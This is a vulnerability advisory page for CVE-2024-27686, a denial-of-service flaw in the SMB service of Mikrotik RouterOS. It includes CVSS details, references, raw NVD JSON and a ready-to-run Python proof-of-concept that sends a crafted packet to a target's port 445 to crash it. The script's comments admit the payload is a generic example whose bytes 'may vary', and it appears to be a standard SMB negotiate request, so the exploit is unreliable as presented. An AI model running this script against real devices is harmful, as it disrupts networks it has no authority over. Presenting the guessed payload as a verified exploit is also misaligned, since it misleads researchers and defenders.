CVE-2024-27686

Description

Mikrotik RouterOS (x86) 6.40.5 through 6.49.10 (fixed in 7) allows a remote attacker to cause a denial of service (device crash) via crafted packet data to the SMB service on TCP port 445.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Mikrotik RouterOS (x86) 6.40.5 - 6.49.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2024-27686
# This script sends a crafted packet to the SMB service to trigger a DoS.
import socket
import sys

def send_exploit(target_ip, target_port=445):
    try:
        # Crafted malicious packet structure (example based on typical SMB DoS)
        # Note: Actual offset/bytes may vary based on specific vulnerability analysis.
        payload = b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
        
        print(f"[*] Connecting to {target_ip}:{target_port}...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))
        
        print("[*] Sending malicious payload...")
        s.send(payload)
        
        print("[+] Payload sent successfully. Check if the device has crashed.")
        s.close()
    except Exception as e:
        print(f"[-] Error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <target_ip>")
    else:
        send_exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-27686
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-27686
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-27686/
[4] VulDB https://vuldb.com/cve/CVE-2024-27686
[5] https://github.com/ice-wzl/RouterOS-SMB-DOS-POC
[6] https://www.exploit-db.com/exploits/51931

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-27686", "sourceIdentifier": "[email protected]", "published": "2026-05-08T06:16:09.003", "lastModified": "2026-05-08T16:02:14.343", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mikrotik RouterOS (x86) 6.40.5 through 6.49.10 (fixed in 7) allows a remote attacker to cause a denial of service (device crash) via crafted packet data to the SMB service on TCP port 445."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://github.com/ice-wzl/RouterOS-SMB-DOS-POC", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51931", "source": "[email protected]"}]}}